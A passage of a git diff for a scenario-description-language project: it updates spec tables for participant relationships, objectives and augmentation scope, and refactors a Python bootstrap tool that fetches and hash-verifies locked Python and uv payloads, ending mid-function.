boundary](../../docs/migration/reusable-mixed-control.md), not +by reinterpreting these existing reference rows or accepting undeclared fields. + This index gives every cross-section or cross-declaration authoring reference a stable candidate-domain token. Registered node-runtime inventories and their local child edges remain governed by the family index in @@ -321,6 +338,14 @@ the source of the row's normative meaning. | `accounts.*.node` | `nodes` | semantic validation | fatal unless target is a compute node | [reference rules](#5-cross-section-reference-edge-catalog) | [account validator](../../implementations/python/packages/raes/validator/_content_objectives.py) | | `relationships.*.source` | `targetable` | semantic validation | fatal dangling or ambiguous; subtype may narrow domain | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [relationship validator](../../implementations/python/packages/raes/validator/_relationships.py) | | `relationships.*.target` | `targetable` | semantic validation | fatal dangling or ambiguous; subtype may narrow domain | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [relationship validator](../../implementations/python/packages/raes/validator/_relationships.py) | +| `relationships.*.participant.source_action_refs[]` | `action_contracts` | semantic validation and instantiation | fatal dangling, duplicate alias, or action unavailable to source | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.target_action_refs[]` | `action_contracts` | semantic validation and instantiation | fatal dangling, duplicate alias, or action unavailable to target | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.objective_refs[]` | `objectives` | semantic validation and instantiation | fatal dangling, duplicate alias, or unrelated objective owner | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.behavior_specification_refs[]` | `behavior_specifications` | semantic validation and instantiation | fatal dangling, duplicate alias, or unrelated participant binding | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.authority_basis_refs[]` | `any` | semantic validation and instantiation | fatal dangling, ambiguous, duplicate alias, or wider than source authority | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.scope_refs[]` | `targetable` | semantic validation and instantiation | fatal duplicate alias or outside spatial/resource scope of either endpoint or selected control policy | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.observation_boundary_refs[]` | `observation_boundaries` | semantic validation and instantiation | fatal dangling, duplicate alias, or unavailable source observation | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | +| `relationships.*.participant.control_specification_ref` | `behavior_specifications` | semantic validation and instantiation | fatal missing mixed-control policy or contradictory controller direction/scope | [participant relationships](participant-relationships.md) | [participant relationship validator](../../implementations/python/packages/raes/validator/_participant_relationships.py) | | `relationships.*.database_access.role_ref` | `derived:database_roles` | semantic validation | fatal outside the target database service | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [relationship validator](../../implementations/python/packages/raes/validator/_relationships.py) | | `relationships.*.mail_access.listener_ref` | `derived:mail_listeners` | semantic validation | fatal outside the target mail service | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [mail validator](../../implementations/python/packages/raes/validator/_runtime_mail.py) | | `relationships.*.mail_access.mailbox_ref` | `derived:mailboxes` | semantic validation | fatal outside the target mail service | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [mail validator](../../implementations/python/packages/raes/validator/_runtime_mail.py) | @@ -334,7 +359,7 @@ the source of the row's normative meaning. | `relationships.*.proxy_upstream.upstream_service_ref` | `derived:upstream_node_services` | semantic validation | fatal without a resolvable upstream node and service | [ADR-052](../../docs/decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) | [proxy relationship validator](../../implementations/python/packages/raes/validator/_relationships_proxy.py) | | `relationships.*.domain_join.controller_refs[]` | `nodes` | semantic validation | fatal dangling, ambiguous, or controller outside target domain | [authored domain topology](authored-domain-topology.md) | [domain topology semantics](../../implementations/python/packages/raes/semantics/domain_topology.py) | | `relationships.*.shared_service.mutable_state_refs[]` | `persistent_volumes` | semantic validation | fatal dangling or conflicting state ownership | [enterprise identity and deployment tenancy](enterprise-deployment-tenancy.md) | [deployment tenancy semantics](../../implementations/python/packages/raes/semantics/deployment_tenancy.py) | -| `agents.*.entity` | `entities` | semantic validation | fatal dangling or ambiguous | [participant semantics](../formal/participant-semantics/README.md) | [participant validator](../../implementations/python/packages/raes/validator/_content_objectives.py) | +| `agents.*.affiliations[]` | `entities` | semantic validation | fatal dangling or ambiguous | [participant identity](participant-identity.md) | [participant validator](../../implementations/python/packages/raes/validator/_content_objectives.py) | | `agents.*.actions[]` | `action_contracts` | semantic validation | fatal dangling or ambiguous | [participant semantics](../formal/participant-semantics/README.md) | [participant semantics](../../implementations/python/packages/raes/semantics/participant_behavior/__init__.py) | | `agents.*.starting_accounts[]` | `accounts` | semantic validation | fatal dangling or ambiguous | [participant semantics](../formal/participant-semantics/README.md) | [participant validator](../../implementations/python/packages/raes/validator/_content_objectives.py) | | `agents.*.interactive_access.*.target_ref` | `nodes` | semantic validation | fatal dangling, ambiguous, or non-compute target | [participant semantics](../formal/participant-semantics/README.md) | [participant interactive-access semantics](../../implementations/python/packages/raes/semantics/participant_interactive_access.py) | @@ -423,9 +448,9 @@ the source of the row's normative meaning. | `variation_points.*.precedence[].before` | `derived:variation_members` | structural validation | fatal outside the owning order point | [variation points](variation-points.md) | [variation validator](../../implementations/python/packages/raes/validator/_variation.py) | | `variation_points.*.precedence[].after` | `derived:variation_members` | structural validation | fatal outside the owning order point | [variation points](variation-points.md) | [variation validator](../../implementations/python/packages/raes/validator/_variation.py) | | `variation_points.*.fixed_positions.*.$key` | `derived:variation_members` | structural validation | fatal outside the owning order point | [variation points](variation-points.md) | [variation validator](../../implementations/python/packages/raes/validator/_variation.py) | -| `objectives.*.agent` | `agents` | semantic validation | fatal dangling or ambiguous | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | -| `objectives.*.entity` | `entities` | semantic validation | fatal dangling or ambiguous | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | -| `objectives.*.actions[]` | `derived:agent_actions` | semantic validation | fatal outside the bound agent action contracts | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | +| `objectives.*.assigned_participant` | `agents` | semantic validation | fatal dangling or ambiguous | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | +| `objectives.*.owner` | `entities` | semantic validation | fatal dangling or ambiguous | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | +| `objectives.*.actions[]` | `action_contracts` | semantic validation | fatal undeclared contract or outside assigned participant actions | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | | `objectives.*.targets[]` | `targetable` | semantic validation | fatal dangling or ambiguous | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | | `objectives.*.success.assertions[]` | `assertions` | semantic validation | fatal dangling, ambiguous, or precondition role | [proposition semantics](../formal/objectives/proposition-and-assertion-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | | `objectives.*.depends_on[]` | `objectives` | semantic validation | fatal dangling, ambiguous, or cyclic | [objective semantics](../formal/objectives/declarative-objective-semantics.md) | [objective semantics](../../implementations/python/packages/raes/semantics/objective_semantics/__init__.py) | diff --git a/specs/sdl/runtime-inventory.md b/specs/sdl/runtime-inventory.md index f8202aa63..be6e39e88 100644 --- a/specs/sdl/runtime-inventory.md +++ b/specs/sdl/runtime-inventory.md @@ -90,6 +90,12 @@ authored `accounts`, runtime local identity, application authorization, database roles, and participant identities are distinct models and MUST NOT be collapsed into one. +Service-manager rows use portable `unit_id` as their stable comparison key. +Their optional `unit_name` is exact native data, not a portable systemd name. +Only explicit `manager_kind: systemd` selects the flat systemd lifecycle-state +contract; omitted manager/name fields preserve partiality and inherited +delegation, while private managers require admitted profiles for richer state. + Component software requirements, exact-package shorthand, optional typed acquisition refinements and the node-local shared `repository_state` surface follow [software-requirements.md](software-requirements.md). They do not add diff --git a/specs/sdl/sections.md b/specs/sdl/sections.md index c97708a37..8d1cac20a 100644 --- a/specs/sdl/sections.md +++ b/specs/sdl/sections.md @@ -68,6 +68,7 @@ machinery is not retained as an empty compatibility field. "References" is | `outcome_interpretation_rules` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | catalogued | [participant model](../formal/participant-semantics/README.md) | | `behavior_specifications` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | catalogued | [behavior specifications](../formal/participant-behavior-model/README.md) | | `evidence_requirements` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | catalogued | [observability and evidence](observability-and-evidence.md) | +| `augmentation_scope` | section | mapping | normalized, expanded, instantiated | optional; default null | none | none | [augmentation scope](augmentation-scope.md) | | `time_domains` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | none | [shared time model](../formal/time-model/README.md) | | `clocks` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | catalogued | [shared time model](../formal/time-model/README.md) | | `time_domain_mappings` | section | map | normalized, expanded, instantiated | optional; default empty map | `map_key` | catalogued | [shared time model](../formal/time-model/README.md) | @@ -78,7 +79,13 @@ machinery is not retained as an empty compatibility field. "References" is | `variables` | section | map | normalized, expanded | optional; default empty map | `map_key` | none | [variables and instantiation](variables-and-instantiation.md) | | `variation_points` | section | map | normalized, expanded | optional; default empty map | `map_key` | catalogued | [scenario-family variation points](variation-points.md) | - +The absent/null `augmentation_scope` carrier means **open**, not closed. Authors +explicitly opt into restrictions; requiring advance authorization of every backend +addition would impose a large, unexpected authoring burden. The policy also +survives into materialized descriptions, where its addresses retain their +original-source meaning. See [augmentation scope](augmentation-scope.md). + + The section set therefore has two authoring shapes: maps keyed by stable user-defined identifiers and the scenario-level `forwarding_agents` list, whose @@ -113,6 +120,14 @@ they occupy different positions in the document. ## Narrative chain +[External inject triggering](external-injects.md) defines the accepted +occurrence/admission/outcome amendment for existing inject authoring. An +environment and ordinary injects need no declared participants. Plan +installation, queued status and participant delivery do not prove world-effect +execution. This semantic decision introduces no parser fields or wire schema; +its [compatibility contract](../../docs/explain/sdl/external-inject-compatibility.md) +governs explicit executable adoption. + One reference chain runs through the catalog and is called out because its ordering is normative (resolution and failure semantics in [`references.md`](references.md)): @@ -134,6 +149,16 @@ evidence must be covered by the named evidence requirements. An inject without that binding remains ordinary orchestration input; `injects.*.environment` never implies participant delivery. +This field-level description is the currently published fixed-coordinate form. +[ADR-110's normative amendment](../formal/participant-semantics/reusable-mixed-control.md#mc-09--participant-directed-injects) +separates reusable edge constraints from exact control-application/delivery +joins, uses acting-source authority, independently pins control/disclosure +policies and keeps order distinct from shared time. It preserves ordinary +injects and disclosure-only bindings. The +[migration contract](../../docs/migration/reusable-mixed-control.md) defines +explicit adoption and retains the old form's historical interpretation; the +amendment does not introduce parser fields by this prose alone. + `propositions` state typed claims; `assertions` use them as preconditions, invariants, or postconditions. Objective success composes invariant or postcondition assertions, while events and workflow predicates reference diff --git a/specs/sdl/variation-points.md b/specs/sdl/variation-points.md index fa5cee720..fac6ceaac 100644 --- a/specs/sdl/variation-points.md +++ b/specs/sdl/variation-points.md @@ -83,8 +83,8 @@ required owner kind and candidate kind; authors cannot widen either with data. | `accounts.node` | `accounts` | compute `nodes` | | `accounts.domain_ref` | `accounts` | `identity_domains` | | `identity_domains.authority_account_ref` | `identity_domains` | `accounts` | -| `objectives.agent` | `objectives` | `agents` | -| `objectives.entity` | `objectives` | flattened `entities` | +| `objectives.assigned_participant` | `objectives` | `agents` | +| `objectives.owner` | `objectives` | flattened `entities` | ### Collection slots diff --git a/tools/bootstrap_profile.py b/tools/bootstrap_profile.py index ca20d792a..ec3b9aafb 100644 --- a/tools/bootstrap_profile.py +++ b/tools/bootstrap_profile.py @@ -9,13 +9,11 @@ from __future__ import annotations import argparse -import datetime as dt import hashlib import json import os import platform as runtime_platform import re -import shutil import stat import subprocess import sys @@ -23,23 +21,18 @@ import tarfile import tempfile from collections.abc import Sequence -from dataclasses import dataclass from pathlib import Path, PurePosixPath from tools import maintained_client_acquisition from tools.tooling_policy_gate import ( - LockedArtifactSelection, - safe_tooling_cache_parent, + load_tooling_host_profile_selection_with_current_interpreter as load_tooling_host_profile_selection, ) from tools.tooling_policy_gate import ( - load_tooling_host_profile_selection_with_current_interpreter as load_tooling_host_profile_selection, + safe_tooling_cache_parent, ) PROBE_TIMEOUT_SECONDS = 15 MAX_PROBE_OUTPUT_BYTES = 8192 -MAX_CASE_RESULT_BYTES = 65536 -MAX_OFFLINE_MANIFEST_BYTES = 32 * 1024 * 1024 -_CASE_IDS = {"T01", "T02", "T03", "T08", "T12"} _MINIMUM_CURL = (8, 4, 0) _OBSERVED_VERSION_RE = re.compile(r"(\d{1,10})[.](\d{1,10})(?:[.](\d{1,10}))?") _PROBE_ENV = {"LC_ALL": "C", "LANG": "C", "PATH": "/usr/bin:/bin"} @@ -53,21 +46,6 @@ curl_version_is_supported = maintained_client_acquisition.curl_version_is_supported -@dataclass(frozen=True) -class QualificationEvidenceOptions: - """Optional sources used to build a qualification evidence record.""" - - offline_kit_root: Path | None = None - offline_kit_archive_path: Path | None = None - offline_kit_manifest_sha256: str | None = None - generic_selections: Sequence[tuple[str, Path, tuple[str, ...], str]] | None = None - limitations: Sequence[str] = () - slice_evidence_paths: Sequence[Path] = () - - -_DEFAULT_QUALIFICATION_EVIDENCE_OPTIONS = QualificationEvidenceOptions() - - def run_curl_qualification( # NOSONAR -- explicit fail-closed outcomes are part of the qualification record. executable: Path, url: str, @@ -279,18 +257,17 @@ def _native_client_results( # NOSONAR -- audited capability map is intentionall def native_setup_plan(host: dict[str, object]) -> dict[str, object]: - """Return the reviewed prerequisites while refusing mutable native installation.""" + """Return the reviewed prerequisites without running package-manager commands.""" - offline_kit = host["offline_kit"] return { "host_profile_id": host["host_profile_id"], "native_family": host["native_family"], "native_repository_identity": host["native_repository_identity"], "trust_root_refs": host["trust_root_refs"], - "host_prerequisite_package_ids": offline_kit["host_prerequisite_package_ids"], - "host_trust_root_refs": offline_kit["host_trust_root_refs"], + "host_prerequisite_package_ids": host["host_prerequisite_package_ids"], + "host_trust_root_refs": host["trust_root_refs"], "outcome": "not-run", - "reason_code": "immutable-native-closure-required", + "reason_code": "operator-installs-native-prerequisites", } @@ -387,132 +364,6 @@ def local_input(artifact_id: str, version: str) -> Path | None: ) -def _offline_generic_tool_selections( - kit_root: Path, - runtime_root: Path, - platform_id: str, - artifacts: dict[str, dict[str, object]], -) -> tuple[tuple[str, Path, tuple[str, ...], str], ...]: - """Copy verified immutable kit seeds into one private runtime tree.""" - - from tools import verified_tool_installation as installation - - version_args = { - "conftest": ("--version",), - "gitleaks": ("version",), - "osv-scanner": ("--version",), - "vale": ("--version",), - } - selections: list[tuple[str, Path, tuple[str, ...], str]] = [] - for artifact_id, args in version_args.items(): - artifact = artifacts[artifact_id] - platform = artifact["platform"] - if platform["platform_id"] != platform_id: - raise ValueError(f"offline {artifact_id} does not match the selected platform") - try: - selection = _generic_locked_selection(artifact, profile_id="offline-kit") - path = installation.ensure_verified_installation( - runtime_root, - selection, - acquire=_offline_acquisition_disabled, - materialize=installation.materialize_direct, - installation_root=runtime_root / "installations", - immutable_seed_root=kit_root / ".cache" / "raes-sdl" / "tooling" / "installations", - ) - except (KeyError, TypeError, ValueError, RuntimeError) as exc: - raise ValueError(f"offline {artifact_id} seed differs from the lock") from exc - selections.append((artifact_id, path, args, artifact["version"])) - return tuple(selections) - - -def _offline_acquisition_disabled() -> bytes: - raise RuntimeError("offline acquisition disabled") - - -def _generic_locked_selection(artifact: dict[str, object], *, profile_id: str) -> LockedArtifactSelection: - """Build the shared installer DTO from one validated host selection.""" - - from tools.tooling_policy_gate import LockedManifestEntry - - platform = artifact["platform"] - source = artifact["source"] - - def entries(values: object) -> tuple[LockedManifestEntry, ...]: - if not isinstance(values, list): - raise ValueError("generic tool manifest is invalid") - return tuple( - LockedManifestEntry( - path=entry["path"], - sha256=entry["sha256"], - size=entry["size"], - executable=entry.get("executable", False), - ) - for entry in values - ) - - return LockedArtifactSelection( - artifact_id=artifact["artifact_id"], - artifact_class=artifact["artifact_class"], - version=artifact["version"], - profile_id=profile_id, - platform_id=platform["platform_id"], - policy_refs=tuple(artifact["policy_refs"]), - repository=source["repository"], - release=source["release"], - source_urls=tuple(platform["source_urls"]), - raw_manifest=entries(platform["raw_manifest"]), - installed_manifest=entries(platform["installed_manifest"]), - ) - - -def export_immutable_tool_seeds(host_profile_id: str, source_root: Path, destination_root: Path) -> None: - """Export only exact installed generic-tool trees as an immutable seed set.""" - - from tools import verified_tool_installation as installation - - _host, artifacts, _policy_sha256 = _load_host_selection(host_profile_id) - generic_ids = ("conftest", "gitleaks", "osv-scanner", "vale") - if destination_root.exists() or destination_root.is_symlink(): - raise ValueError("immutable tool seed destination must be new") - # The destination is the operator-selected output of this export command and must be new. - destination_root.mkdir(parents=True, mode=0o700) # NOSONAR - try: - for artifact_id in generic_ids: - selection = _generic_locked_selection(artifacts[artifact_id], profile_id="offline-kit") - source_tree = installation.installation_tree_path(source_root, selection) - installation._validate_tree(source_tree, selection.installed_manifest, mode="installed") - destination_tree = installation.installation_tree_path(destination_root, selection) - destination_tree.parent.mkdir(parents=True, mode=0o700) - shutil.copytree(source_tree, destination_tree, symlinks=False) - paths = sorted(destination_root.rglob("*"), key=lambda path: len(path.parts), reverse=True) - for path in paths: - mode = path.lstat().st_mode - if stat.S_ISLNK(mode): - raise ValueError("immutable tool seed export retained a symbolic link") - if stat.S_ISREG(mode): - path.chmod(0o500 if mode & 0o111 else 0o400) - descriptor = os.open(path, os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0)) - try: - os.fsync(descriptor) - finally: - os.close(descriptor) - elif stat.S_ISDIR(mode): - path.chmod(0o500) - installation._fsync_directory(path) - else: - raise ValueError("immutable tool seed export contains an unsupported entry") - destination_root.chmod(0o500) - installation._fsync_directory(destination_root) - installation._fsync_directory(destination_root.parent) - for artifact_id in generic_ids: - selection = _generic_locked_selection(artifacts[artifact_id], profile_id="offline-kit") - seed_tree = installation.installation_tree_path(destination_root, selection) - installation._assert_immutable_seed_chain(destination_root, seed_tree) - installation._validate_tree(seed_tree, selection.installed_manifest, mode="seed") - except (KeyError, OSError, RuntimeError, TypeError, ValueError) as exc: - raise ValueError("immutable tool seed export failed exact verification") from exc - - def qualify_generic_tools( *, selections: Sequence[tuple[str, Path, tuple[str, ...], str]] | None = None, @@ -591,37 +442,46 @@ def _transfer_budget( return maintained_client_acquisition.GENERIC_TRANSFER_BUDGET -def fetch_offline_kit_payloads( # NOSONAR -- explicit validation branches keep acquisition fail-closed. +def fetch_bootstrap_payloads( # NOSONAR -- explicit validation branches keep acquisition fail-closed. host_profile_id: str, kit_root: Path, artifact_ids: Sequence[str], + *, + locator_ref: str | None = None, ) -> list[dict[str, object]]: """Fetch exact raw payloads with the qualified native curl client.""" if not kit_root.is_dir() or kit_root.is_symlink(): - raise ValueError("offline kit root must be a regular directory") + raise ValueError("bootstrap root must be a regular directory") host, artifacts, _ = _load_host_selection(host_profile_id) requested = sorted(set(artifact_ids)) - if not requested or not set(requested) <= set(host["offline_kit"]["artifact_ids"]): - raise ValueError("offline kit fetch must select reviewed payload ids") + if not requested or not set(requested) <= set(host["bootstrap_payload_ids"]): + raise ValueError("bootstrap fetch must select reviewed payload ids") + if locator_ref is not None and len(requested) != 1: + raise ValueError("bootstrap locator selection requires exactly one artifact") results: list[dict[str, object]] = [] for artifact_id in requested: artifact = artifacts[artifact_id] platform = artifact["platform"] raw_manifest = platform["raw_manifest"] - # Approved same-byte locators are ordered; the kit uses the primary one. - # A different locator is an explicit operator choice, never a failover loop. + # A different approved locator is explicit, never an automatic failover. source_urls = platform["source_urls"] if len(raw_manifest) != 1 or not source_urls: - raise ValueError("offline kit fetch requires one exact source object per payload") + raise ValueError("bootstrap fetch requires one exact source object per payload") + source_url = source_urls[0] + if locator_ref is not None: + locator_refs = artifact["source"]["locator_refs"] + if locator_ref not in locator_refs or len(locator_refs) != len(source_urls): + raise ValueError("bootstrap locator is not approved by the reviewed lock") + source_url = source_urls[locator_refs.index(locator_ref)] expected = raw_manifest[0] target = kit_root / "archives" / artifact_id / expected["path"] safe_tooling_cache_parent(kit_root, target, artifact_id=artifact_id) if target.exists() or target.is_symlink(): - raise ValueError(f"offline kit {artifact_id} raw target already exists") + raise ValueError(f"bootstrap {artifact_id} raw target already exists") transfer = run_curl_qualification( _SYSTEM_CURL, - source_urls[0], + source_url, target, ca_cert=None, max_bytes=expected["size"], @@ -635,7 +495,7 @@ def fetch_offline_kit_payloads( # NOSONAR -- explicit validation branches keep or _sha256(target) != expected["sha256"] ): target.unlink(missing_ok=True) - raise ValueError(f"offline kit {artifact_id} raw payload failed exact verification") + raise ValueError(f"bootstrap {artifact_id} raw payload failed exact verification") results.append( { "artifact_id": artifact_id, @@ -647,58 +507,7 @@ def fetch_offline_kit_payloads( # NOSONAR -- explicit validation branches keep return results -def _offline_kit_entries(kit_root: Path) -> list[dict[str, object]]: - """Measure every offline-kit entry without following links.""" - - if not kit_root.is_dir() or kit_root.is_symlink(): - raise ValueError("offline kit root must be a regular directory") - entries: list[dict[str, object]] = [] - for path in sorted(kit_root.rglob("*")): - relative = path.relative_to(kit_root).as_posix() - if relative == "offline-kit-manifest.json": - continue - mode = path.lstat().st_mode - if stat.S_ISDIR(mode): - continue - if stat.S_ISLNK(mode): - target = os.readlink(path) - try: - (path.parent / target).resolve().relative_to(kit_root.resolve()) - except ValueError as exc: - raise ValueError("offline kit contains an escaping symbolic link") from exc - entries.append({"path": relative, "kind": "symlink", "target": target}) - elif stat.S_ISREG(mode): - entries.append( - { - "path": relative, - "kind": "file", - "sha256": _sha256(path), - "size": path.stat().st_size, - } - ) - else: - raise ValueError("offline kit contains an unsupported filesystem entry") - if not entries: - raise ValueError("offline kit is empty") - return entries - - -def copy_relocatable_tree(source_root: Path, destination_root: Path) -> None: - """Copy a payload tree while materializing host-bound symbolic links.""" - - source_root = source_root.resolve(strict=True) - if not source_root.is_dir() or destination_root.exists() or destination_root.is_symlink(): - raise ValueError("relocatable payload copy requires a directory and a new destination") - try: - shutil.copytree(source_root, destination_root, symlinks=False, ignore_dangling_symlinks=True) - except OSError as exc: - raise ValueError("relocatable payload links could not be materialized") from exc - for path in sorted(destination_root.rglob("*")): - if path.is_symlink(): - raise ValueError("relocatable payload copy retained a symbolic link") - - -def install_offline_python_payload( # NOSONAR -- archive validation is intentionally explicit and auditable. +def install_python_payload( # NOSONAR -- archive validation is intentionally explicit and auditable. host_profile_id: str, kit_root: Path, python_artifact_id: str ) -> dict[str, str]: """Verify and extract one locked relocatable CPython payload.""" @@ -706,10 +515,10 @@ def install_offline_python_payload( # NOSONAR -- archive validation is intentio _host, artifacts, _policy_sha256 = _load_host_selection(host_profile_id) artifact = artifacts.get(python_artifact_id) if artifact is None: - raise ValueError("offline kit Python payload is not selected by the host profile") + raise ValueError("bootstrap Python payload is not selected by the host profile") raw_manifest = artifact["platform"]["raw_manifest"] if not isinstance(raw_manifest, list) or len(raw_manifest) != 1: - raise ValueError("offline kit Python payload must have exactly one raw archive") + raise ValueError("bootstrap Python payload must have exactly one raw archive") raw = raw_manifest[0] archive = kit_root / "archives" / python_artifact_id / raw["path"] if ( @@ -718,10 +527,10 @@ def install_offline_python_payload( # NOSONAR -- archive validation is intentio or archive.stat().st_size != raw["size"] or _sha256(archive) != raw["sha256"] ): - raise ValueError("offline kit Python archive differs from the validated lock") + raise ValueError("bootstrap Python archive differs from the validated lock") destination = kit_root / "python" / f"cpython-{artifact['version']}" if destination.exists() or destination.is_symlink(): - raise ValueError("offline kit Python destination must be new") + raise ValueError("bootstrap Python destination must be new") destination.parent.mkdir(parents=True, exist_ok=True) with tempfile.TemporaryDirectory(prefix=".python-extract-", dir=kit_root) as temporary_dir: temporary_root = Path(temporary_dir) @@ -729,13 +538,13 @@ def install_offline_python_payload( # NOSONAR -- archive validation is intentio with tarfile.open(archive, mode="r:gz") as bundle: members = bundle.getmembers() if not members or any(PurePosixPath(member.name).parts[:1] != ("python",) for member in members): - raise ValueError("offline kit Python archive has an unexpected root") + raise ValueError("bootstrap Python archive has an unexpected root") bundle.extractall(temporary_root, filter="data") except (OSError, tarfile.TarError) as exc: - raise ValueError("offline kit Python archive could not be extracted safely") from exc + raise ValueError("bootstrap Python archive could not be extracted safely") from exc extracted = temporary_root / "python" if not extracted.is_dir() or extracted.is_symlink(): - raise ValueError("offline kit Python archive omits its payload root") + raise ValueError("bootstrap Python archive omits its payload root") extracted.rename(destination) return { "artifact_id": python_artifact_id, @@ -743,12 +552,12 @@ def install_offline_python_payload( # NOSONAR -- archive validation is intentio } -def install_offline_uv_payload( # NOSONAR -- archive validation is intentionally explicit and auditable. +def install_uv_payload( # NOSONAR -- archive validation is intentionally explicit and auditable. host_profile_id: str, kit_root: Path, uv_artifact_id: str ) -> dict[str, str]: """Verify and extract the locked uv client from an imported payload kit. - The offline and container bootstrap paths have no host-supplied uv to copy, + The CI and container bootstrap paths have no host-supplied uv to copy, so the reviewed raw archive is the only admitted source of the client that later runs the frozen validator. """ @@ -756,10 +565,10 @@ def install_offline_uv_payload( # NOSONAR -- archive validation is intentionall _host, artifacts, _policy_sha256 = _load_host_selection(host_profile_id) artifact = artifacts.get(uv_artifact_id) if artifact is None: - raise ValueError("offline kit uv payload is not selected by the host profile") + raise ValueError("bootstrap uv payload is not selected by the host profile") raw_manifest = artifact["platform"]["raw_manifest"] if not isinstance(raw_manifest, list) or len(raw_manifest) != 1: - raise ValueError("offline kit uv payload must have exactly one raw archive") + raise ValueError("bootstrap uv payload must have exactly one raw archive") raw = raw_manifest[0] archive = kit_root / "archives" / uv_artifact_id / raw["path"] if ( @@ -768,7 +577,7 @@ def install_offline_uv_payload( # NOSONAR -- archive validation is intentionall or archive.stat().st_size != raw["size"] or _sha256(archive) != raw["sha256"] ): - raise ValueError("offline kit uv archive differs from the validated lock") + raise ValueError("bootstrap uv archive differs from the validated lock") destination = kit_root / "bin" destination.mkdir(parents=True, exist_ok=True) installed: list[str] = [] @@ -779,18 +588,18 @@ def install_offline_uv_payload( # NOSONAR -- archive validation is intentionall members = bundle.getmembers() roots = {PurePosixPath(member.name).parts[:1] for member in members} if not members or len(roots) != 1 or any(not (member.isfile() or member.isdir()) for member in members): - raise ValueError("offline kit uv archive has an unexpected shape") + raise ValueError("bootstrap uv archive has an unexpected shape") bundle.extractall(temporary_root, filter="data") except (OSError, tarfile.TarError) as exc: - raise ValueError("offline kit uv archive could not be extracted safely") from exc + raise ValueError("bootstrap uv archive could not be extracted safely") from exc extracted = temporary_root / next(iter(roots))[0] for name in ("uv", "uvx"): source = extracted / name target = destination / name if not source.is_file() or source.is_symlink(): - raise ValueError(f"offline kit uv archive omits its {name} client") + raise ValueError(f"bootstrap uv archive omits its {name} client") if target.exists() or target.is_symlink(): - raise ValueError(f"offline kit uv destination {name} must be new") + raise ValueError(f"bootstrap uv destination {name} must be new") source.rename(target) target.chmod(target.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) installed.append(target.relative_to(kit_root).as_posix()) @@ -801,222 +610,6 @@ def install_offline_uv_payload( # NOSONAR -- archive validation is intentionall } -def build_offline_kit_manifest( - host_profile_id: str, - kit_root: Path, - *, - python_artifact_id: str, -) -> dict[str, object]: - """Bind an installed payload closure to the validated host policy.""" - - host, artifacts, policy_sha256 = _load_host_selection(host_profile_id) - offline_kit = host["offline_kit"] - expected_ids = set(offline_kit["artifact_ids"]) - required_ids = {python_artifact_id, "uv"} - if not required_ids <= expected_ids or not expected_ids <= artifacts.keys(): - raise ValueError("offline kit payload closure does not match the validated host selection") - entries = _offline_kit_entries(kit_root) - installed_payload_bindings: list[dict[str, object]] = [] - for artifact_id, prefix in ((python_artifact_id, "python/"), ("uv", "bin/uv")): - installed_entries = [ - entry for entry in entries if entry["path"] == prefix or str(entry["path"]).startswith(prefix) - ] - if not installed_entries: - raise ValueError(f"offline kit omits the installed {artifact_id} payload") - installed_payload_bindings.append( - { - "artifact_id": artifact_id, - "version": artifacts[artifact_id]["version"], - "source_raw_manifest": artifacts[artifact_id]["platform"]["raw_manifest"], - "installed_entries": installed_entries, - } - ) - return { - "schema_version": "raes-offline-bootstrap-kit/v1", - "kit_id": offline_kit["kit_id"], - "host_profile_id": host_profile_id, - "platform_id": host["platform_id"], - "policy_sha256": policy_sha256, - "python_artifact_id": python_artifact_id, - "artifact_ids": sorted(expected_ids), - "host_prerequisite_package_ids": sorted(offline_kit["host_prerequisite_package_ids"]), - "installed_payload_bindings": installed_payload_bindings, - "entries": entries, - } - - -def _load_offline_kit_manifest(path: Path) -> dict[str, object]: - if not path.is_file() or path.is_symlink() or path.stat().st_size > MAX_OFFLINE_MANIFEST_BYTES: - raise ValueError("offline kit manifest must be a bounded regular file") - - def reject_duplicates(pairs: list[tuple[str, object]]) -> dict[str, object]: - result: dict[str, object] = {} - for key, value in 